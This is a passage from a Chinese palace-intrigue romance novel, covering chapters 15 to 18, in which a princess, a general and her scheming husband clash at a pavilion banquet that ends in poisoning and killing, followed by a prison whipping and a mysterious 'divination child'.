摊主小心瞄了眼沈自寒:“区别大着呢,小姐你美若天仙,倾国倾城,瞧瞧那水灵脸蛋,比剥了壳的鸡蛋还嫩!还有那眉眼,鼻子,哎呦呦,精雕细琢,神工巧匠的心血!!更别提那小嘴,福祥,福祥啊,更有那身姿,简直是……”
“够了够了,别嘴贫,说说你的画。”孤山千灵没听出个所以然,倒是耳朵快起茧子了。
“可这当朝公主嘛……”摊主神秘地拿出一卷画,展开:“丑得骇人!!”
“你!”看见那画,孤山千灵几乎要被气得跳起来。
这分明是假货啊,奸商!
沈自寒拉住她,夺声:“有意思,这画多少银子?”
摊主见真有要买的,惊了:“公子您,真要买?这画可丑得叫人哭爹喊娘啊!”
孤山千灵急想回骂,谁料又被沈自寒捂住嘴。
沈自寒:“买!”
摊主深受震撼,感动地大声一喊:“好!就冲您这个字,我找出我最贵的布给您包了!”
说毕,他三下五除二立即将包好的画递给沈自寒。
“布不错!”沈自寒一手接过画抛起来,一手环着孤山千灵直往带。
摊主见此慌了:“诶,公子您还没银钱呢!”
“哦,对!”沈自寒停下脚步,折返回摊子前拿起支毛笔。
摊主见他又拿了张纸,似乎在写着银票,不禁搓起手,嘿嘿奸笑。
“好啦!”沈自寒将纸扔向摊主,随后头又不回地潇洒离去。
“谢谢公子,谢谢公……”摊主捋直纸,发现不是银票,而是两行大字:
想拿钱?
就重画一百遍公主送到栖瑶殿!
什么鬼,他不是画过公主了吗,敢情他堂堂画摊霸王被骗啦?!
画摊霸王连忙追上去,拼命呼:“骗子,还本摊主的布!还本摊主的布!!去你的栖瑶殿!!!”
等等。
栖瑶殿,不是皇宫里那……
霸王反应过来,下巴大掉
——敢情刚刚那位美人,是真公主啊!
“这么说,你骗了那大骗子?”迎着夜风,马背上,孤山千灵一手抱着沈自寒的腰,一手握着画卷,笑得合不拢嘴。
“多好,既匡行正义,又得公主的画像!”沈自寒用力拽了下僵绳。
“丑死啦,你最好抱着它睡!”孤山千灵生气地掐了下沈自寒。
沈自寒笑得张扬,大喊:“求之不得——”
“你!”孤山千灵一张脸比猴子屁股还红,恨不能找条地缝钻进去。
她泄愤似用头撞了下沈自寒的背,直直贴上,再也难分开。
待二人回到练兵场,墨幕满星。
沈自寒先下马,轮到孤山千灵跳下来,一把镖刀正好掉落。
见此,孤山千灵连忙捡起,未及沈自寒开口便将画卷塞给他,匆忙告别。
与此同时,柳榴来了。
她见孤山千灵急往反方向离去,心中不怠。
“师姐?”
柳榴听见沈自寒声音,快步至前:“拿到了,你要的。”
她伸出手,一把镖刀赫然躺在手心。
“你为何贸然转变计划?”柳榴问,自打从郊院回宫后,她觉得自己越发看不懂这个师弟了。
她总觉得,沈自寒还有什么瞒着自己。
她知道曹谦是旧恨,是沈自寒一生不可原谅之仇。
可暮子来,那个公主的驸马……
还有公主!
沈自寒无言,握起被孤山千灵碰过的画卷缓缓放至鼻尖下轻嗅,他隐没在夜风暗尘中,噙着讥诮的桃花眼幽光流转。
15. 魁首榜丈蝶纷飞
金轿子银轿子顶着赤霞款款而来,今夜的临仙阁,光缎挂楼,云鬓彩衣。
一路铺开,百春齐放,争奇斗艳,红紫交错间有蜂蝶翻舞而出,它们绕雕梁,掠粼波,满江面乱窜,穿水烟,掀浮浪,终落高处碧花。
“真蜂蝶停落假头花,有意思。”
蝶翼翕动,顺着碧花循声下望,才见这是块刻于玉石上的魁首榜。
江烟笼起,魁首榜立天地之中,巧工攀天,恍若山水一色凝成,晶莹珠润。
而其下有人仰首,她念出榜上提的字,继续道:“取山水一丈,落俗尘一方。”
老鸨捏起嗓子,咯咯笑:“公主呀,俗物,俗物!”
孤山千灵身旁的暮子来抬扇掩笑,看向老鸨:“若真俗,怎么不取金榜银榜,而取山水一丈?”
老鸨闻言,笑得更开怀。
“驸马爷,你要的人到了。”老鸨左手握着筒西洋长镜,溜圆眼珠,暗戳戳斜着身子,谄媚道:“小的就先去瞧瞧姑娘们啊。”
暮子来笑眼更弯,老鸨便辞了去。
她抽出帕子扬扬,上了叶簇花竹舟:“点灯——”
岸近岸远,一时大亮,天上天下,神彩参半。在众人呼喝中,老鸨嬉笑着下了岸,姑娘们边推边搡,跟她齐齐拥向面前的贵轿。
贵轿镶翠绘窗,绝非宫外手笔。
老鸨拍拍袖子,领姑娘们跪下:“恭迎曹大——”
“沈,沈将军?!”声音被出轿之人哽住,老鸨揉揉眼睛,发现是那张令大京闻风丧胆的银傩假面。
沈自寒扫了眼老鸨,无言,亦无甚表情。
老鸨很有眼力见,迅速磕头:“恭迎沈将军!”
“快要揭榜了,不如让小的领您进去?”
闻言,沈自寒走向老鸨,还是无言,更无甚表情,可老鸨却像得了天大的赦令,连忙起身引他上船。
主楼里,宾客攒动。
孤山千灵正落座,一抬头,沈自寒的身影隐约出现在人群中,她瞬间抓住椅把望去。
而那个身影,分明就是!
孤山千灵急切地瞄了眼暮子来,深吸口气,最终还是决定站起身。
她捂住肚子,一副难为情的模样,扯着暮子来衣袖,故作委屈:“本公主闹肚子了。”
暮子来神色担忧,急道:“可要叫随从的太医来……”
“不,不用!”孤山千灵脱口而出,撞上暮子来疑惑的目光,她连忙找补:
“此处人多,太招摇,你告诉我茅厕在哪就行。”
闻言,暮子来应声回答,她也暗自抹了把冷汗。
呼,真是惊险啊——
孤山千灵拍拍胸脯,立马朝着身影追去。
眼看就要碰到沈自寒了,她想开口喊他:
“沈……”
话音未落,人潮迎面撞来,她努力昂起头,整个身体艰难地挤着前进,奈何视线与声音很快便掩没在宾客中。
就在这时,冰凉的触觉抚过指尖,她心下一颤,再次伸出手去。
可回握她的,却是位仙阁姑娘。
“小姐,你东西掉了!”姑娘将一团纸叠塞入她手中。
孤山千灵来不及多想,以为是被自己撕下的案页,她迅速接过塞进袖口。
可再抬头,沈自寒的背影已然消失,消失得一干二净。
她不甘,于是匆匆循着眼前寻找,可结果,连个近似沈自寒身形的都找不着。
揭榜就要开始了,孤山千灵必须回到座位上。
她惴惴不安地折返而去,怀疑起自己看错的可能,也许那个身影并非就是……
“今晚的魁首,就是洛昭姬——”
耳边忽然传来老鸨的声音,孤山千灵一顿,连忙跑向暮子来。
谁料此刻,老鸨闪身于前,嬉笑着拦下她:“公主有请,驸马爷在私阁等您。”
来到私阁前,孤山千灵伸出手,最后看了眼被半藏入袖口的镖刀。
长睫投下阴影,她莫名平静。
像深沉的海面,空旷,虚无,氤氲着又一次死息……
就是这样的目光,却在推开门的刹那起了波澜。
孤山千灵惊诧,她看见的第一眼,不是仇人,而是
——沈自寒!
“今晚的私厢倒是热闹。”正前方,曹谦的声音响起,孤山千灵神色黯然,沉默着坐到沈自寒对面。
她察觉到沈自寒的目光,相视一眼,心中剧烈翻涌。
“今晚的魁首还未登场,曹大人真是爱说笑。”暮子来拿起酒盏旁的茶杯,轻抿了口。
见此,暮谦抓起酒瓶灌入喉咙,爽快抹了把嘴,大笑着拍拍手。
门被撞开,扔进来一个手脚捆起的女子。
女子低着头,微微朝站起来的沈自寒瞥了眼。
这一幕,让孤山千灵意识到,沈自寒来此……
也许正和自己无异!
骤然,她看向他们共同的目标——暮子来。
“镖刀是洛洛的,你们一文一武,买通洛洛拿到镖刀来这……”曹谦将酒瓶砸向中央,大喝:“是想关门打狗,给我设鸿门宴吗?”
说话间,他拔剑斩向暮子来,没曾想刀尖对准处,竟是迎面袭来的孤山千灵!
“公主!”沈自寒眉心微动。
幸得曹谦反应快,反手持剑挟住孤山千灵。
孤山千灵缩回手中的镖,怒骂:“曹谦,你谄害我母妃,罪该万死!”
曹谦扼紧孤山千灵,一头雾水:“什么你的母妃?”
沈自寒在身旁悠悠喝了口酒:“曹大人当然不知道,姬存娘娘薨了,驸马爷才回京便忙着娘娘后事。”
闻言,曹谦看了眼孤山千灵,又看了眼暮子来,瞬间明白,嘲笑道:“暮大人,你居然蒙骗公主,利用你的娘子,真是跪久了的软腰婿!朝廷清余党,最先周辅恩,禧宁王府与贵妃两个蠢中至蠢死了,她们活该,我可不活该!!”
听见“贵妃”二字,孤山千灵心中莫名泛酸,她指尖几乎按进镖柄,却不知刀光如霜,映出一瞬沈自寒的脸。
那是张欲言又止的脸,闪过秒欲言又止的恸动……
他不忍看去。
爱在片刻中留滞,露了马脚。
曹谦见暮子来瞪着自己,继续大吼:“暮府有庶子,弃父害兄,不愧以狼心狗肺称道!”
此话一出,幼年的屈辱如潮水般击溃了暮子来,他伸拳冲向曹谦。
却不料,孤山千灵竟反手飞镖扎入曹谦大腿,夺剑抵向自己。
孤山千灵俯视着他,眼神如薄冰般锋利刺目。
暮子来一时恍惚,听见她质问自己:“我母妃到底是因何而死的?!”
暮子来强行冷静下来,装作不解:“公主说什么,害您母妃之人就在眼前啊!”
孤山千灵冷冷注视着他,手上的剑徒然抵近暮子来颈脉:“演够了吗?你利用我母妃之死伪血书,制案页,意图操控我为你除沈将杀曹卿,有何嘴硬!”
暮子来僵僵转头看向沈自寒:“你们,识破了……您联合沈自寒进私厢为下官设套!”
沈自寒轻蔑地盯着他,一手举起酒盏敬去:“以其人之道,还至其人之身。”
“狗屁,你以为我没有后手!”暮子来瞪大双眼,挣拧地大笑起来。
话至,倒在地上的曹谦忽然剧烈咳出黑血。
孤山千灵瞳孔一震,连忙看向沈自寒。
却见他将手中的酒盏倒下,液体在地板淋成一滩,丝毫没有呲啦作响的白烟!
暮子来顿遭雷霹,心凉半截,吃恨:“你换了酒!”
话毕,曹谦惊愕地望向沈自寒,不敢相信这个主动来找自己合作的人,会反将反将再反将,将他也算进去了。
沈自寒懒懒地蹙起眉头,朝暮子来投去好笑又可怜的目光,挑衅道:“何止换了酒,更换了茶。”
“你!”暮子来双手掐住自己脖子,额头上的青筋爆起。
这一幕,连孤山千灵也不觉悚然,她意识到什么,急道:“不,他没说出母妃的死因,还不能……”
“好,是你们逼我的!”暮子来抢声,对背后孤山千灵道:“公主不是想知道您母妃究竟因何而死吗?”
孤山千灵厉声:“说!”
暮子来冷笑,仰头在她耳边低语:“因您!”
孤山千灵死死盯着他,手上开始颤抖。
“因您自己!”暮子来嘲讽地大斥:“您苏醒之时便是她赴死之日!!”
“不是这样的!!!”伴随着一声血溅,暮子来捂着倒地。
与此同时,孤山千灵袖口中的纸叠被甩至曹谦面前。
孤山千灵浑身
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无力般撑住长剑,目光在呆滞时分被沈自寒灼热的眼神接住。
她与他对视着。
孤山千灵似乎是出于本能般,缓缓向沈自寒移去。
可就在此时,曹谦突然大吼:“当年与公主同坐一轿的小宫侍!”
此话轰得孤山千灵脑袋闪白,蓦然回首,她整个人不住抽气。
曹谦指着沈自寒,怒目圆睁,恨不得千刀万剐这个仇敌之子:“你,你居然就是当年逃跑的……”
“不!”
“噗嗤——”曹谦的头颅被沈自寒一剑贯穿,孤山千灵微张着口,傻眼了。
她拾起悬赏令,目光颤颤。
扫过口,鼻,耳,眉的刹那,剧痛从记忆中炸开
——腥红迸溅,碎镜破裂,她被狠命推下……几瞬场景如飞蝶般闪过,在眼前重叠,拥挤,叫嚣。
溺水般的窒息感再次涌来,她想极力捉住,挥走。
却发现那个身影,那个对面的,令她恐惧的身影骤然明朗!
“你是,是,沈……”
孤山千灵崩溃,挣扎着伸手,却发现眼前乍如缥缈,生生折磨她,捉不着,亦挥不着。
而变幻流转间,只剩一双悲恸的眼,独独清晰。
那双眼,比她还痛苦,比她还悲伤,比她还煎熬,比她还恨,比她还爱。
“公主?”沈自寒的声音响起,现实与记忆重叠。
孤山千灵一惊,应激般推开他,毅然冲出厢门。
她来到断栏边,胃里被搅得恶心,幸亏不知何时下起雨。水汽中,薄烟翻滚而上,将墟沟与楼台连成一片白色汪洋,深不见底。
那张日夜困扰自己的脸,已然明了。
可孤山千灵不甘,不甘他就这么被自己发现!更恨,恨他真的就是这么个人,这么个陷害自己,欺骗自己的人……
她闭上眼,想起最初与沈自寒相识的自己:
“我与你,不共戴天!”
泪水决袂,孤山千灵张开双手——就要往江中扑。
“公主!”雷霆乍惊,连天闪白,在夜光被刺破一刹,她看见那张让她又痛又恨的脸,粲然明亮。
沈自寒接住她。
孤山千灵靠在他怀里,双手握成拳。
雨水打落的声音愈来愈大,孤山千灵被平稳放到临仙阁的外廊上。
沈自寒抿紧嘴唇,沉声:“公主……”
“啪——”话半,清脆的巴掌扬在空中,沈自寒素白的皮肤上立刻泛起红晕。
他怔愣回头,额发浸挂雨滴,一双湿漉漉的眼睛泛红,颤颤望去,视线中震惊又心碎。
孤山千灵冷笑出声,像把刀在他心上狠狠割开。
“有意思么?”隔着雨丝,孤山千灵腥红的眼底凝起狠劲,声音哽咽而有力:“你还要装到什么时候,骗我很好玩吗!”
一字一句,像绞死在沈自寒脖颈上的套索。
他怀疑自己没听清,眼神在万分难解中就要沁出血来。
原来,她以为他一而再,再而三,不顾生命地救她,都是逢场作戏吗?
那些过往,那个吻,真真切切……
原来,远不及一张废纸轻而易举的挑拔!
心,纷乱着扭痛。
他可以为她不顾一切,甚至睹上生命!可她,这个自己曾经拼死拼活也要让她复苏的所爱之人,却反过来否认他的真心!!
沈自寒伸手掐住孤山千灵的下巴,目光死死钳住她,手上仍旧舍不得用力。
他对上孤山千灵看宿敌般的陌生眼神,多么想,多么想将这双眸子咽进喉咙里,让她好好看看自己那颗如假包换的真心!
他逼近孤山千灵,双唇几乎贴上她的额头,语气压抑着什么,别扭地柔声:“在下会让您重新爱上在下。”
孤山千灵凝视着他,恶毒的字眼从喉咙中吐出:“我,不可能爱上罪魁真凶!”
罪魁真凶!
四个字瞬间让沈自寒想起自己对孤山千灵隐埋已久的身份,他目光微晃。
“啪——”第二道雷劈下,天地再度刹白间,又是一个火辣辣的巴掌甩在沈自寒脸上。
“从今往后,我再也不要见到你!”眼泪滚落,孤山千像是用尽了毕生的力气。
她挣开沈自寒的手冲入雨帘,水滴打落身上恍若被砸了石子般痛。
16. 四方坐客八方心
私厢内一时死寂,躲在墙角下的洛洛双手抱头。
静默片刻后,她小心站起来。
入目是两位横陈在地板上的大人……
洛洛悚然,心跳如鼓点般急促。
她蹑手蹑脚走到暮子来身旁,弯腰,伸出食指,松了口气。
又走到曹谦身旁,弯腰,伸出食指——
登时,她哆嗦着腿,连滚带爬地冲向厢门:
“没,没气啦,死人,死!”
话音未落,一声巨响,她被门槛绊了个狗啃泥。
“死,死死!”洛洛挣扎着撑起双臂,“死,死……”
“死什么死?”
顾不及疼,熟悉的声音从上方传来。
洛洛抬头,一张与她相甚无几的脸映入眼帘。
她们都化着浓妆。
不同的是,面前女子笼烟眉,凌波目,朱唇衔寒刃,胭脂扬媚斩月空,简直,比她美太多了……
她踉跄起身,小鸡崽似缩住肩膀:“洛姐?”
“辛苦你替我顶了今夜的场,露露。”
一袋银子被扔入手中,是鱼目与珍珠的价差,也是她与洛昭姬的价差。
可鱼目与珍珠究竟差了几分几毫?
露露打量起眼前的洛昭姬,最终耷拉下肩膀,道了谢就准备离开。
“等等!”此时,一道陌生的声音传来,露露回头,发现洛昭姬身后不知何时多了位秀气男子。
她认出此人:“柳阙郎?”
柳榴指了指私厢:“里面发生何事?”
露露想起在私厢发生的一切,表情很不自然。
柳榴逼问:“你方才喊着‘死’是什么意……”
“曹大人死了!”露露断声,眼神中明显还在后怕。
“还有吗?”对曹谦,柳榴早就料到。
“还有……”露露紧张道:“还有暮大人,他,他昏过去了。”
闻言,柳榴心中的弦瞬间绷紧。
她越过洛昭姬冲进私厢,发现大滩血迹上躺着的,除曹谦外,就是暮子来。
瞬间,后背发凉。
原来沈自寒贸然转变计划,是想趁暮子来的东风,一箭双雕。
柳榴倒吸口气……
她意识到沈自寒对暮子来动了杀心,不觉震愕。
与此同时,洛昭姬悄悄来到柳榴身边。
“柳郎君~”她故意贴上柳榴的肩膀,喊了声:“别忘了前日的镖哦。”
洛昭姬一身缂金凤尾珍珠锻,格格娇笑,像极了株倾国牡丹,春去秋来,明姿华耀。
“洛,洛姑娘!”
柳榴想起前日洛昭姬手中最后一支自留镖。
“私阁人数早就定好了,本来不该在的人是谁,您很清楚吧。”洛昭姬越贴越近,忽然笑出声,“我帮了您,您当如何兑现承诺?”
柳榴闻言,匆匆递出自己的令牌:“以此为押,下官明日定会命人送一箱元宝来!”说着,她双颊微红,向后退了几步。
“谁要你的元宝?”洛昭姬上前,双手搂住柳榴的脖子:“柳郎君清秀俊俏,年纪轻轻便做了朝廷命官,这样好的货色,才配押给我,不如……”
洛昭姬直勾勾盯着柳榴:“您喊我声‘娘子’吧!”
柳榴瞪大双眼,浑身瞬间红得跟熟透的虾子似,手忙脚乱道:“洛姑娘,这称呼乱喊会坏了人伦,况且,况且你我之间,男女授授不清,恕下,下官!”
“你我之间,男女授授不清?“洛昭姬用手指刮蹭起柳榴的碎发,若有所思道:“看来您今夜也不想走了嘛~”
柳榴一激灵,头向后仰。顿了几秒,她闭上眼,以迅而不及掩耳之势在洛昭姬耳旁低低喊了声:“娘,娘子……”
洛昭姬将头凑近柳榴:“听不见。”
柳榴紧张咬唇,极力回避她的目光,终于,豁出去般,大喊:“娘子——”
空气几乎被震出波澜,她忙不迭推开洛昭姬,从她身旁再次越过。
没曾想转身,柳榴被洛昭姬一把扯至身下,洛昭姬捂住她的嘴,往她耳边吹气:
“前日的镖算我送您!”
裙衫拂过,带来香气,柳榴脑子空白,她强撑着推开洛昭姬。
一张酡红的脸和一串散乱的步子,落荒而逃时还不忘吩咐楼下侍卫:“将,将罪臣暮子来押走!”
“罪臣暮子来残害忠良,其罪难恕——”
这是暮子来再度清醒后,听见的第一句话。
他拖着沾满血污的衣衫挣扎起身,怎么也没想到杀害曹谦的人,竟会变成自己。
“不,放我出去,我要面圣!我要见皇上!!”
暮子来扑向铁栅死死抓住,他嘶吼着,白裾染尘,早不复往日光鲜。
而此时,天牢尽头,角隅深处,孤山千灵正面无表情听着。
她眼前明暗焕然,密匝匝的话在心里落了个空荡荡的响,萧瑟无踪。
“呦,您来了,他就在最边上那间!”随着身旁一声谄媚,空气中的嘶吼戛然而止,孤山千灵动身走去。
“皇上!是皇上来了吗?”
暮子来迎着她愈渐清晰的脚步声,而她,则迎着暮子来愈渐欣喜的试探声……直至身子完全停住,终于对上暮子来那张惊恐的脸。
“公主?!”暮子来下意识松手,眼神中闪过一瞬扭痛。
孤山千灵漠然垂眸,直接点明:“你昨夜说母妃因我而死,是什么意思?”
暮子来微怔,似乎终于认清自己的处境,苦涩开口:“她……”
即将吐出字时,嘴角却咧出个笑:
“她的死,你永远也别想弄清楚!”
他狐眼阴媚,笑意恶肆,妖丽的脸上肤若透玉,仿佛浑身
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一口血皆被含入唇中。
“你就这么想死吗?”孤山千灵瞪大双眼,目光微颤,极力用令人畏惧的恶意掩饰自己。
可暮子来反而站起身,隔着铁栅逼近她,挑衅中姿意迷离,轻吐口气,扬眉:“是,求之不得。”
孤山千灵嗤笑一声,猛扯过暮子来的衣领,拧眉:“够不要脸,赏你!”
沾了盐水的铁鞭甩在地上清脆作响,暮子来被锁入墙铐。他浑身布满血痕,胸口剧烈伏动着,每一次呼吸都像从深渊中费力拉扯起空气。
孤山千灵坐在他面前的太师椅上,抿了口茶,淡淡笑道:“如何?喜欢吗?”
暮子来吐出口血,抬起发红的双眼愤然盯着她,咬牙切齿,回笑:“喜欢得紧。”
见暮子来死性依旧,孤山千灵明显憋不住了,她徒然起身,命人拿来条带尖刺的粗结节双拧铁鞭。
孤山千灵亲自接过,她将铁鞭烧红,又滚了几遍砂盐水。
“喜欢……”孤山千灵拖着新铁鞭,一字一句,“那就多受点吧!”
“啪——”新铁鞭狠狠落下,连空气都在战栗。暮子来骤然呕出滩血,心脏几乎要冲破胸膛,被锁住的双手握至泛白,就连众宫侍也不忍再直视他。
所幸只是一鞭,宫侍便被命上前。
孤山千灵让宫侍接过铁鞭后,拿起递来的手帕轻拭。
“不愧是你,能在暮家苟活下来的遗庶子。”她悠悠开口,语气冷傲,“三岁被暮金圃卖给老太监做儿子,后来老太监倒台,暮金圃得幸发迹。为了应付闲言碎语,他将你接回暮府,却不想暮府上下皆对你鄙夷非常。他们常对你说……”
“你是狗太监的狗儿子。”
话及此,孤山千灵有意看向暮子来,却见他奄奄一息地垂着头,默不作声。
“后来,你大哥刚任司转盐使便被巡盐御史弹劾,深陷贪缴之案。而你爹暮金圃卧病在床,朝中势力一日不如一日。”
孤山千灵继续道:“皇上对盐商状告税卡之事耿耿于怀,加上贪缴之案,更对暮家有异。”
“你虽考取功名,却受之牵连,不得不辟蹊径向皇上求娶,以示弃名弃利,安守帝王左右。”
孤山千灵转身,准备离去:“如今,你贵为驸马,戴罪存疑,无人敢欺。”
“可……”
一抹冷笑攀上嘴角,她扔下最后的话:
“我会休了你。”
闻言,暮子来猛然抬起羽睫,被汗浸湿的晶萤翕动:“您休不了……”
同样一抹笑在双颊漾开,暮子来缓缓抬头,眼神死死钳住孤山千灵:
“我们,有个孩子。”
此话才出,孤山千灵浑身血液瞬间凝住。她回身冲向暮子来,掐住他的脖颈,双眼通红:“你说什么?”
暮子来无言,仰首盯去,眼尾殷红,同样噙着悲恨的泪。
17. 卜童卜天天不祥
矮瘦的身影从暗处走来,孤山千灵眼前,一张小脸豁然明朗。
“公主,他果然不是您的孩子。”听见小圆开口,孤山千灵微微低头,凝视起小孩。
小孩睁大双眼,可映出她样子的,却只有一只墨瞳,而另一只,无瞳
——眼眶里镶嵌着晶花状银圆片。
日光流柱,银片折射出莫名诡谲的艳色,孤山千灵眸间泛冷,心知自己着了暮子来的道。
这小孩,不过是个用来拖延时间面圣的借口罢。
孤山千灵心情复杂:“小孩,你叫什么?爹娘是谁?为何会落到暮子来手里?”
小孩不答,一头乱糟糟的墨绿长发拖到脚后跟,仍朝她迷糊糊闪着大眼,嘴里反复嘀咕:“天祥之也,天祥之也……”
孤山千灵疑惑,瞥了眼小圆:“他为何‘天祥’‘天祥’的喊?”
“许是某句占术歌谣!”小圆想起刚接到这小孩时听来的种种:
“南下十三州流行一种‘卜童’,卜童即是从云苗之地抱养来后,在其体内养活盎的先天残童!”
“那他不就是……”孤山千灵惊骇地转向小孩,却在对上那只银眼的刹那,语速转缓:“卜童?”
小圆没回应,像听不见她说话般,继续:“据说卜童能够未卜先知,因此沿海十三州地的许多显贵都会养,不求官,便求财,求亨通……”
小圆似乎想到什么,又对孤山千灵道:“驸马爷他先前在十三州地,不日回京高升,定然就是养了这位卜童!”
孤山千灵半信半疑。
她见卜童还在一个劲嘟囔着,不禁俯身问:“小孩,你说的‘天祥之也’是什么意思呀?”
卜童拍起手,醉酒似,脸红得厉害:“天祥之也,天祥之也……”
他越发兴奋,最后竟说:
“娘娘之死,天祥之也!”
闻言,孤山千灵瞳孔骤缩,小圆立马拉过卜童,捂住他的嘴,呵道:“大胆,敢冒犯公主和娘娘!”
一时间,哭声响彻殿宇。
只是未及孤山千灵回神,更大的动静便盖过哭声。几位太监嬷嬷闯入,浩浩荡荡,孤山千灵警戒起来,连忙带上宫侍们前去。
“真是好大的排扬!”
孤山千灵迈入院内,单单讥讽了一句,便连半分面子也不给:
“生怕你们擅闯栖瑶殿这事儿,传不到父皇耳朵里?”
“呦,公主,要说擅闯,还是您打头下的先手棋呢!”人群中的老太监站出来,奸笑着弯腰扬眉。
孤山千灵冷笑出声:“说吧,别以为会舔会跪,本公主就听不出你的话中话。”
老太监闻此,脸上明显挂不住,索性直起腰,扬声:“公主擅进天牢对驸马动用私刑,此乃‘内眷干政’,僭越礼法!”
他让人摆出拟诏:“须禁足半年!”
“什么!禁足半年?”孤山千灵心下一慌,指着拟诏,反驳:“这上面没有皇帝的亲印,你们如何敢妄断!”
“妄断?公主可看清了……”老太监指了指诏上的小官印:“刑部已批查过,您知道,‘内眷干政’是为大诫,急惩!”
闻言,孤山千灵急红了脸,正欲开口,没曾想几个嬷嬷太监忽然围上来。
“你们做什么?!”小圆下意识护住孤山千灵。
可那嬷嬷反而拉扯起来,恶狠狠道:“我们做应做之事,谁让‘内眷干政’是为大诫,急惩——”
话音刚落,空气中传来四个字:
“那又如何?”
声音空冷慵懒,带着少年人不知天高地厚的跋扈。
太熟悉了……
孤山千灵的手指悄悄收拢,回首而去,只见人群中不觉让出一条道。
而那道尽头,正是站着的沈自寒。
孤山千灵深吸口凉气,眼眶瞬间红了。
沈自寒的样子就映在眼前,逐渐模糊,难以言宣的委屈比理智更快到达,眼泪无声、无措……
可在对视上沈自寒那刻,她又倔强地撇过头,强忍着皱眉,却不知道,一滴泪掉落,在无尽的日光中,在沈自寒无措的眼里,不再无声。
沈自寒怔愣,这瞬间仿佛陷入了无休止的静默,他忍不住想朝孤山千灵走去,可当触及之时,迎面而来的,是一块屏障。
他离那滴泪,近在咫尺,却遥不可及。
沈自寒喉咙干涩,低哑的声音依旧凌厉:“暮大人夜闯临仙阁,公主为妻,难免生气,况且,没有皇上的亲印,你们私自禁足公主,其为‘大逆不道、僭越犯上’之罪,杀无赦!”
“可,可……”老太监未料到沈自寒会出现,更未料到沈自寒会说出这样一番话,又怯又急道:“可您知道的,皇上这几日尚留狄夷,哪会那么快回?”
闻言,沈自寒倏忽笑出声,他看向老太监的眼神莫名渗人:“我为公主担保。”
一块金令牌被扔至老太监脸上,老太监捧着那金令牌哐当跪下。
他双
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手不住颤抖:“不敢,不敢啊沈将军!”
“不敢?”一双阴冷的眸子微微眯起,沈自寒抬脚将老太监的手踩进泥里:“既然不敢……”
他用鞋尖将令牌掂回手中,沉声:“为什么还不滚?”
“滚!现在就滚,立马就滚。”连尖叫都不敢,老太监一步三跪地带着众人灰溜溜逃离。
而此刻,空气再次寂静,剩风。
彼此之间,发丝如蒲柳纷扬,沈自寒终于对上孤山千灵那双眼,那双,不再躲避,的眼……
孤山千灵微微侧过目光,赌气似,声音却越来越弱:“猫哭耗子假慈悲,何必帮我?”
“因为下官说过,会让您重新爱上我。”沈自寒扬起个生涩热烈的笑,恍如那日漫天桃花下,她曾见过的,不知深浅般,懵懂又惊艳。
“你……”一瞬拧痛闪过,错愕间,孤山千灵心底泛起几分自嘲。
她走到卜童旁,好整以暇地看向沈自寒,话里掺着苦意:“你知道我去天牢干什么吗?”
沈自寒不解。
孤山千灵将手搭在卜童肩膀上,顿了几秒,开口:“要回我和暮子来之间……”
“被他藏起来的孩子。”
此话一出,沈自寒瞬间定在原地。
他双手握成拳,不过几秒,便骤然喊道:“我能做的比暮子来更好!”
“什么?”孤山千灵没料到他的回答,下意识疑惑。
沈自寒像是下定了决心,紧张道:“虽然,我不是这小孩亲生的……”
“好啊!”孤山千灵打断他,一把将小孩推过去,“这孩子染了大疾,你若能让他好起来,我便重新给你一次机会。”
闻言,沈自寒明显愣住,可不过片刻,他便立马反应过来,兴高采烈又小心翼翼地将卜童领走了。
“公主,你也发现卜童发热得厉害?”
看着二人远去的背影,小圆眉间愁色更甚。
“传闻他们生病过五日,便会为其待的地方惹来瘟疫,以责主怠。卜童自北上而来已过四日,您这不是致沈将军于死地吗?”
“对……”孤山千灵眸光一颤,记起自己曾触碰过卜童肩膀。
她指尖微蜷,那刹的烫,似乎此刻才直抵内心深处。
可泪光,真的不会黯然么?
孤山千灵眼角略弯。
遥望着,一张脸在落寞中美得寡淡,启唇:
“就是致他于死地,像他当年对我那样……”
18. 柳风吹送牧羊地
孤山千灵就这么站着,目光越过殿门,像越过了一切纠葛,永远伫立在所遥望的远方中……
谁也看不清。
“公主?”
“殿门下没人,沈将军已经带着卜童离开了……”
小圆的声音再度响起,孤山千灵终于有了反应,她下意识想搭几句腔。
可当“卜童”二字被说出口时,暮子来利用小孩诓骗自己的事实也随着记忆翻涌而上。
她不懂暮子来究竟在掩饰什么?
先是临仙阁前的一串心思,而今,又继续利用卜童欺骗自己。
——“您苏醒之时便是她赴死之日!”
孤山千灵想起临仙阁里暮子来的回答,心脏如被梦魇攫住,无助挥之难却……
于是,在这茫然的惶恐中,她来到了阙天处。
站在阙天处下,孤山千灵的眼睛眯作一条缝。
在母妃与禧宁福晋以前,她记得曹谦还提到过周辅恩。
直觉告诉她,曹谦是知道母妃被诬陷的……
可究竟如何诬陷,为何诬陷,孤山千灵先前只顾结果,全然忘了起因。
如今,她决定换个方向。
这背后,接二连三的人命,究竟发生了什么?
既然暮子来不说……
那便由最先死去的周辅恩说。
孤山千灵缓缓走进阙天处,四周的石壁依旧透着一股湿冷。
她神色凝重,眼前直道漆寂,耳旁却不合时宜地热闹起来:
“阙郎她个女阎王,假正经!”一侧,两个男侍官哀怨的声音响起。
“这几日忙,不过就录案上错了几个无关紧要的地方,她何必死揪着,不让寸步……”
话音未落,另一侧传来女侍官无奈的话语:“她的规矩就是规矩。”
孤山千灵循声转头,见壁室里跪着位犯人。
犯人眼前的女侍官继续开口:“就算你无罪,也得等真凶到案才能走,不然永远也别想洗脱嫌疑!”
孤山千灵听得入神,只是那对峙声越来越小,直至最后,独剩下犯人在哭喊:
“可俺说过了呀——”
“俺老娘还等着俺回去喂药,小娃还等着俺回去喂饭——”
听到此处,孤山千灵不禁担忧,柳榴如此铁面无私……
会愿意给她想要的东西吗?
停下步子,孤山千灵抬头看见石室的铭牌,抿紧唇,推门。
“公主?”见来人是孤山千灵,桌前的柳榴起身,语气中带着几分诧异:“您……”
“我不是来找沈自寒的!”孤山千灵开口,一双眼莫名戒备。
柳榴怔愣,旋即想起那次在刑部,自己对孤山千灵先入为主的误会;
又想起露露口中,昨夜私厢里孤山千灵与沈自寒的决裂,心中难堪又愧疚。
柳榴苦笑,目光落在孤山千灵身上:“公主,我……”
孤山千灵没给她说下去的机会:“柳大人,我想要周辅恩周大人去世时的案牍。”
柳榴一顿,嘴唇微微张合着,皱了皱眉。
良久,她转过身,从桌上抽出周辅恩当年的案牍。
“周大人是两朝老臣,在户部衙署因……”柳榴迟疑,看向孤山千灵,将案牍递给她,“姬存娘娘用贡壶所伤而亡。”
